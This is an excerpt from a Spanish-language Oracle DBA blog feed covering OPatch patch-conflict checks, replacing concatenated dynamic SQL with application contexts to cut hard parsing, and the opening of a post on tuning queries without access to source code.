&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-47-28AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictagainstohwithdetail"

Prereq "checkConflictAgainstOHWithDetail" failed.

Summary of Conflict Analysis:

Patches that can be applied now without any conflicts are :
5523375, 5586604, 5895190, 6051177, 6055481, 6084232, 6369463, 6678845, 6894671, 6897966, 6926448, 7123643, 7189722, 7226463, 7243560, 7331929

&lt;span style="color: red;"&gt;Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
6996030, 4459936, 5099019, 6399168, 7025450, 7191744&lt;/span&gt;

Following patches will be rolled back from Oracle Home on application of the patches in the given list :
6996030, 5099019

Conflicts/Supersets for each patch are:

Patch : 4459936

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 6996030
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kzft.o

Patch : 6399168

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 5099019
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/rdbms/admin/prvtstat.plb

Patch : 7025450

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7191744
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

Patch : 7191744

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7025450
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pues desafortunadamente hay conflictos adicionales, esta vez entre el &lt;i&gt;patch&lt;/i&gt; &lt;b&gt;4459936&lt;/b&gt; &lt;b&gt;&lt;i&gt;FGA doesn't work correctly with ansi outer joins in 10g&lt;/i&gt;&lt;/b&gt; y el &lt;b&gt;6996030&lt;/b&gt; &lt;b&gt;&lt;i&gt;Merge label request on top of 10.2.0.4 for audit trail clean-up&lt;/i&gt;&lt;/b&gt;, algo que ya habíamos visto, y también entre el &lt;i&gt;patch&lt;/i&gt; &lt;b&gt;6399168&lt;/b&gt; &lt;b&gt;&lt;i&gt;gather statistics on table with bitmap indexes runs forever&lt;/i&gt;&lt;/b&gt; y el &lt;b&gt;5099019&lt;/b&gt; &lt;b&gt;&lt;i&gt;dbms_stats doesn't count leaf_blocks correctly&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Con esta información ya podemos continuar con la aplicación de los &lt;i&gt;patches&lt;/i&gt; que no presentarán conflictos y para los casos en que sí, debemos abrir un &lt;b&gt;&lt;i&gt;Service Request&lt;/i&gt;&lt;/b&gt; en &lt;b&gt;&lt;i&gt;My Oracle Support&lt;/i&gt;&lt;/b&gt;, solicitando se nos proporcione un &lt;b&gt;&lt;i&gt;merged patch&lt;/i&gt;&lt;/b&gt; tal como &lt;b&gt;&lt;i&gt;OPatch&lt;/i&gt;&lt;/b&gt; nos ha sugerido:&lt;/div&gt;&lt;br /&gt;
&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;"Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :&lt;br /&gt;
6996030, 4459936, 5099019, 6399168, 7025450, 7191744"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Recomendaciones Finales&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Procura tener la última versión de &lt;b&gt;&lt;i&gt;OPatch&lt;/i&gt;&lt;/b&gt;, misma que puedes obtener buscando el &lt;b&gt;&lt;i&gt;Patch&lt;/i&gt;&lt;/b&gt; &lt;b&gt;6880880&lt;/b&gt;, instalarlo es muy fácil solo tienes que descomprimirlo en &lt;b&gt;$ORACLE_HOME/OPatch&lt;/b&gt;. Luego que lo tengas instalado procede a obtener todos los &lt;i&gt;patches&lt;/i&gt; que te interesa aplicar y descomprímelos bajo una misma carpeta, ahora usa &lt;b&gt;&lt;i&gt;OPatch&lt;/i&gt;&lt;/b&gt; para verificar la presencia de conflictos entre ellos y los ya aplicados. De existir algún conflicto solicita a Oracle que te proporcione un &lt;b&gt;&lt;i&gt;merged patch&lt;/i&gt;&lt;/b&gt;. Finalmente, te recomiendo leer los Notes &lt;b&gt;458485.1 &lt;i&gt;How to find whether the one-off Patches will conflict or not?&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;551394.1 &lt;i&gt;What Are The MANDATORY Information Required To File A Merge Patch Request?&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;&lt;u&gt;Posts Relacionados:&lt;/u&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/cloning-oracle-home-directory.html"&gt;De cómo un clon nos puede ayudar con un patch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/10/borr-el-orainventory-no-todo-est.html"&gt;¿Borró el OraInventory? No todo está perdido&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-3982427474500994279?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/7G4C4Q693CI" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:22:33.918-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/01/opatch-patch-evitar-conflicto.html</feedburner:origLink></item><item><title>¿Query dinámico?, pero sin perder de vista el contexto</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/EHSi7n4Lk54/sql-dinamico-application-context.html</link><category>PLSQL</category><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 03 Jan 2009 22:00:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-903396390912165358</guid><description>&lt;div&gt;Es relativamente frecuente que tengamos que recurrir a &lt;b&gt;SQL dinámico&lt;/b&gt; cuando no sabemos en tiempo de compilación el texto completo de la sentencia. Si bien en los tiempos de Oracle 7 la única forma de lograrlo era usando &lt;b&gt;&lt;i&gt;dbms_sql&lt;/i&gt;&lt;/b&gt;, en la actualidad la forma preferida de procesar SQL dinámico es con &lt;b&gt;&lt;i&gt;execute immediate&lt;/i&gt;&lt;/b&gt;, el problema radica en que no se hace buen uso de él y se termina generando código no reutilizable y esto lleva a elevadas tasas de &lt;b&gt;&lt;i&gt;hard parsing&lt;/i&gt;&lt;/b&gt; con el consiguiente deterioro del desempeño. Como en el ejercicio de mi labor como Consultor veo que este es un problema bastante recurrente, les mostraré a continuación una forma sencilla de corregirlo.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;El Problema&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;OK, para situarnos en el problema veamos el siguiente código:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;create or replace
function emp_query (
deptno dept.deptno%type default null,
low_hiredate emp.hiredate%type default null )
return sys_refcursor
is
&amp;nbsp;&amp;nbsp;c_query sys_refcursor;
&amp;nbsp;&amp;nbsp;v_query varchar2(8000);
begin
&amp;nbsp;&amp;nbsp;v_query := 'select empno, ename, hiredate
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from emp
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where 1 = 1';
&amp;nbsp;&amp;nbsp;if deptno is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || ' and deptno = '||deptno;
&amp;nbsp;&amp;nbsp;end if;
&amp;nbsp;&amp;nbsp;if low_hiredate is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || ' and hiredate &amp;gt;= '''||low_hiredate||'''';
&amp;nbsp;&amp;nbsp;end if;

&amp;nbsp;&amp;nbsp;open c_query for v_query;

&amp;nbsp;&amp;nbsp;return ( c_query );
end;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¿Qué problema le encuentran? Observen como se concatenan los valores de los parámetros al momento de armar la sentencia, noten que hay que tener cuidado con el tipo de dato, así si se trata de &lt;i&gt;varchar2&lt;/i&gt; o &lt;i&gt;date&lt;/i&gt; habrá que agregar los respectivos "&lt;b&gt;'&lt;/b&gt;" alrededor del valor. Esta forma de programar garantiza un 100% de &lt;i&gt;hard parse&lt;/i&gt; cada vez que llamemos a esta rutina! sino veamos que ocurre luego de unas cuantas llamadas:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; variable x refcursor;

SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;10,low_hiredate=&amp;gt;'01/01/1982');

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7934 MILLER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 23/01/1982 00:00:00

SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;20,low_hiredate=&amp;gt;'01/01/1981')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7566 JONES &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;02/04/1981 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7788 SCOTT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;09/12/1982 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7876 ADAMS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12/01/1983 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7902 FORD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 03/12/1981 00:00:00

SYS@orcl&amp;gt; select sql_text, executions from v$sql
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;where parsing_schema_name = 'SCOTT';

SQL_TEXT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; EXECUTIONS
---------------------------------------- ----------
select empno, ename, hiredate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1
from emp where 1 = 1 and deptno = 10 
and hiredate &amp;gt;= '01/01/1982 00:00:00'

select empno, ename, hiredate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1
from emp where 1 = 1 and deptno = 20
and hiredate &amp;gt;= '01/01/1981 00:00:00'&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Lo que esperábamos, cada llamada genera una sentencia totalmente independiente.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;El argumento que siempre me dan los desarrolladores es que &lt;i&gt;execute immediate&lt;/i&gt; exige una lista fija de parámetros y no dejan de tener razón pues la sintaxis tendría que ser algo así:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;execute immediate
&amp;nbsp;&amp;nbsp; 'select empno, ename, hiredate
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;from emp
&amp;nbsp;&amp;nbsp; &amp;nbsp; where deptno = :deptno
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; and hiredate &amp;gt; :hiredate’
using deptno, low_hiredate;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pero no se puede garantizar que se proporcionen ambos parámetros, tal como está conceptualizada la rutina se permite que en algunos casos se puede pasar uno de los parámetros, ambos o incluso ninguno. ¿Estamos entonces atrapados sin salida? Pues no, tenemos una alternativa: &lt;b&gt;&lt;i&gt;application contexts&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;La Solución&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Si bien &lt;i&gt;application contexts&lt;/i&gt; aparece para soportar &lt;b&gt;&lt;i&gt;VPD&lt;/i&gt;&lt;/b&gt; (&lt;i&gt;Virtual Private Database&lt;/i&gt;) su uso puede ampliarse a otros casos, como el que estamos analizando en este momento. Con &lt;i&gt;application contexts&lt;/i&gt; podemos especificar atributos y asignarles valores, estos residen en el &lt;b&gt;&lt;i&gt;UGA&lt;/i&gt;&lt;/b&gt; (&lt;i&gt;User Global Area&lt;/i&gt;) durante la vida de la sesión, son de caracter privado por tanto cada sesión tiene sus propios atributos y valores y no pueden leer los de otras sesiones.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Comprenderemos mejor cómo funcionan los &lt;i&gt;application contexts&lt;/i&gt; mediante la resolución de nuestro problema con su uso, para ello primero debemos crear el &lt;b&gt;&lt;i&gt;context&lt;/i&gt;&lt;/b&gt;, indicando que solamente puede ser manipulado desde nuestro stored procedure &lt;b&gt;&lt;i&gt;scott.emp_query&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; create context emp_query_ctx using scott.emp_query;

Context created.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Observen que el &lt;i&gt;context&lt;/i&gt;, si bien fue creado por &lt;b&gt;&lt;i&gt;SYS&lt;/i&gt;&lt;/b&gt;, en realidad no tiene un dueño y no se requieren tampoco de permisos para que pueda ser usado.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Veamos la versión modificada de &lt;i&gt;scott.emp_query&lt;/i&gt;, usando &lt;i&gt;application contexts&lt;/i&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;create or replace
function emp_query (
deptno dept.deptno%type default null,
low_hiredate emp.hiredate%type default null )
return sys_refcursor
is
&amp;nbsp;&amp;nbsp;c_query sys_refcursor;
&amp;nbsp;&amp;nbsp;v_query varchar2(8000);
begin
&amp;nbsp;&amp;nbsp;v_query := 'select empno, ename, hiredate
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from emp
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where 1 = 1';
&amp;nbsp;&amp;nbsp;if deptno is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || 
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ' and deptno = &lt;span style="color: red;"&gt;sys_context(''emp_query_ctx'',''deptno'')'&lt;/span&gt;;
&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: red;"&gt;dbms_session.set_context('emp_query_ctx','deptno',deptno)&lt;/span&gt;;
&amp;nbsp;&amp;nbsp;end if;
&amp;nbsp;&amp;nbsp;if low_hiredate is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || 
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ' and hiredate &amp;gt;= &lt;span style="color: red;"&gt;sys_context(''emp_query_ctx'',''hiredate'')&lt;/span&gt;';
&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: red;"&gt;dbms_session.set_context('emp_query_ctx','hiredate',low_hiredate)&lt;/span&gt;;
&amp;nbsp;&amp;nbsp;end if;
&amp;nbsp;&amp;nbsp;open c_query for v_query;

&amp;nbsp;&amp;nbsp;return ( c_query );
end;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Lo que se está haciendo es crear atributos (&lt;i&gt;deptno&lt;/i&gt; y &lt;i&gt;hiredate&lt;/i&gt;) dentro del &lt;i&gt;context&lt;/i&gt; &lt;b&gt;&lt;i&gt;emp_query_ctx&lt;/i&gt;&lt;/b&gt; y de paso asignándole valores (los contenidos de los parámetros &lt;i&gt;deptno&lt;/i&gt; y &lt;i&gt;low_hiredate&lt;/i&gt;), esto se logra mediante llamadas a &lt;b&gt;&lt;i&gt;dbms_session.set_context&lt;/i&gt;&lt;/b&gt;, mientras que para leer los valores asignados se emplea &lt;b&gt;&lt;i&gt;sys_context&lt;/i&gt;&lt;/b&gt;. La creación de atributos y la asignación de valores solo se puede hacer, por definición, desde &lt;i&gt;scott.emp_query&lt;/i&gt;, lo cual añade un nivel de seguridad al garantizar que no se pueden crear atributos ni modificar sus valores de forma arbitraria.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; execute dbms_session.set_context('emp_query_ctx','deptno',10)
BEGIN dbms_session.set_context('emp_query_ctx','deptno',10); END;

*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SESSION", line 90
ORA-06512: at line 1&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Veamos ahora el desempeño de nuestra rutina modificada:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;10,low_hiredate=&amp;gt;'01/01/1981')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7782 CLARK &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;09/06/1981 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7839 KING &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 17/11/1981 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7934 MILLER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 23/01/1982 00:00:00

SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;20,low_hiredate=&amp;gt;'01/01/1982')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7788 SCOTT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;09/12/1982 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7876 ADAMS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12/01/1983 00:00:00

SYS@orcl&amp;gt; select sql_text, executions from v$sql
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;where parsing_schema_name = 'SCOTT';

SQL_TEXT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;EXECUTIONS
-------------------------------------------------------- &amp;nbsp;----------
select empno, ename, hiredate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: red;"&gt;2&lt;/span&gt;
from emp where 1 = 1
and deptno = sys_context('emp_query_ctx','deptno')
and hiredate &amp;gt;= sys_context('emp_query_ctx','hiredate')&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Ahora sí! Tenemos código perfectamente reutilizable, &lt;i&gt;sayonara hard parsing!!!&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Recomendaciones Finales&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Para los que vienen siguiendo mi Blog, ya habrán intuido que para mí el &lt;b&gt;&lt;i&gt;hard parsing&lt;/i&gt;&lt;/b&gt; es algo así como el &lt;b&gt;demonio&lt;/b&gt; y una de las labores de los DBAs es la de exorcizar periódicamente la base de datos, pero créanme no estoy exagerando. Uno de mis clientes tenía un serio problema: su flamante computador con 10 procesadores duales de última tecnología bordeaba el 100% de uso de CPU, y el diagnóstico era: &lt;b&gt;alta tasa de &lt;i&gt;hard parsing&lt;/i&gt;&lt;/b&gt;. Resulta que nuestros entrañables amigos desarrolladores se las habían ingeniado para llenar la base de datos con sql dinámico no reutilizable, el problema no se nota si tenemos unos pocos usuarios con actividad esporádica, pero cuando tienes miles de usuarios interactuando en simultáneo el problema es evidente y los resultados son &lt;b&gt;catastróficos&lt;/b&gt;. Si no lo han hecho ya, pueden leer el Post relacionado que mencionan el problema y señalan algunos paliativos, pero no se engañen: la solución más barata y segura siempre será codificar las aplicaciones de forma eficiente.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;&lt;u&gt;Post Relacionados:&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/cursor-sharing-histograms-y-bind.html"&gt;&lt;i&gt;Cursor sharing&lt;/i&gt;, &lt;i&gt;histograms&lt;/i&gt; y &lt;i&gt;bind peeking&lt;/i&gt;, lo que deberías saber para evitar sorpresas.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-903396390912165358?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/EHSi7n4Lk54" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:22:52.674-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/01/sql-dinamico-application-context.html</feedburner:origLink></item><item><title>Estas bromeando, ¿afinar sin tener el código fuente?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/hvSEfUAO4g0/advanced-rewrite-tuning-sin-fuentes.html</link><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 18 Dec 2008 21:30:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5297514875947482825</guid><description>&lt;div&gt;Es sabido por todo DBA que los problemas de desempeño son en gran medida atribuibles a código ineficiente, pero allí nos tienen recibiendo las quejas por lo lenta que es la base de datos; no nos queda más que encontrar este código y proceder a corregirlo, pero ¿qué podemos hacer si no tenemos siquiera acceso al código fuente? Lo más que podíamos hacer era hacer ajustes a las estadísticas o a algunos parámetros, quizás crear algún índice, pero nada más, afortunadamente con Oracle 10g se nos presenta una poderosa herramienta para situaciones como ésta y como siempre, nada mejor para entender cómo funciona que mediante un ejemplo práctico.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Imaginemos que luego de hacer las inspecciones del caso encontramos que el query problemático es el siguiente:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;select e.ename, d.dname 
from emp e, dept d 
where e.deptno = to_number(d.deptno)

--------------------------------------------------------------
| Id | Operation          | Name | Rows | Bytes | Cost (%CPU)|
--------------------------------------------------------------
|  0 | SELECT STATEMENT   |      |   14 |   308 |     7  (15)|
|* 1 |  HASH JOIN         |      |   14 |   308 |     7  (15)|
|  2 |   TABLE ACCESS FULL| DEPT |    4 |    52 |     3   (0)|
|  3 |   TABLE ACCESS FULL| EMP  |   14 |   126 |     3   (0)|
